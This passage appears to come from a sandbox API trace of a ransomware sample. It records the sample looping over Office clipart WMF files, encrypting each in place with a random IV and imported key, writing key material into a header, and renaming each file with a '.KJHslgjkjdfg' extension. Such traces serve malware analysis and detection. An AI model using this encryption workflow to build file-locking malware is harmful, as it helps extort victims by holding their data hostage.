phKey=0x29df274*=0x9b6628) returned 1 [0198.079] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.079] GetProcessHeap () returned 0x990000 [0198.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.079] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.080] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.080] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.082] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.082] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.083] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16c0, lpOverlapped=0x0) returned 1 [0198.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0) returned 1 [0198.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.084] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16c0, lpOverlapped=0x0) returned 1 [0198.084] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.084] SetEndOfFile (hFile=0x130) returned 1 [0198.087] GetProcessHeap () returned 0x990000 [0198.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.087] GetProcessHeap () returned 0x990000 [0198.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.kjhslgjkjdfg")) returned 1 [0198.089] CloseHandle (hObject=0x130) returned 1 [0198.089] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0198.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.090] GetProcessHeap () returned 0x990000 [0198.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.090] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.090] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.092] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.092] GetProcessHeap () returned 0x990000 [0198.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.092] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.092] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.092] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.093] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.093] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.093] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.093] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b5c, lpOverlapped=0x0) returned 1 [0198.094] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b60) returned 1 [0198.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.095] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b60, lpOverlapped=0x0) returned 1 [0198.095] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.095] SetEndOfFile (hFile=0x130) returned 1 [0198.100] GetProcessHeap () returned 0x990000 [0198.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.100] GetProcessHeap () returned 0x990000 [0198.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.kjhslgjkjdfg")) returned 1 [0198.102] CloseHandle (hObject=0x130) returned 1 [0198.102] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0198.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.102] GetProcessHeap () returned 0x990000 [0198.103] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.103] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.103] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.105] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.105] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.105] GetProcessHeap () returned 0x990000 [0198.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.105] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.105] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.105] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.106] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.106] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.106] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.106] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.106] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.106] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.106] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3e9e, lpOverlapped=0x0) returned 1 [0198.107] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ea0) returned 1 [0198.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.108] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ea0, lpOverlapped=0x0) returned 1 [0198.108] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.108] SetEndOfFile (hFile=0x130) returned 1 [0198.111] GetProcessHeap () returned 0x990000 [0198.111] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.111] GetProcessHeap () returned 0x990000 [0198.111] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.kjhslgjkjdfg")) returned 1 [0198.112] CloseHandle (hObject=0x130) returned 1 [0198.112] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0198.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.114] GetProcessHeap () returned 0x990000 [0198.114] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.114] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.114] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0198.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.117] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.117] GetProcessHeap () returned 0x990000 [0198.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.117] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.118] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.118] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x73a2, lpOverlapped=0x0) returned 1 [0198.119] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x73b0, dwBufLen=0x73b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x73b0) returned 1 [0198.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.119] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x73b0, lpOverlapped=0x0) returned 1 [0198.120] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.120] SetEndOfFile (hFile=0x130) returned 1 [0198.123] GetProcessHeap () returned 0x990000 [0198.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.123] GetProcessHeap () returned 0x990000 [0198.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.kjhslgjkjdfg")) returned 1 [0198.125] CloseHandle (hObject=0x130) returned 1 [0198.125] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0198.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.126] GetProcessHeap () returned 0x990000 [0198.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.126] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.126] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.128] GetProcessHeap () returned 0x990000 [0198.129] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.129] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.129] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.129] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.129] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.129] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) 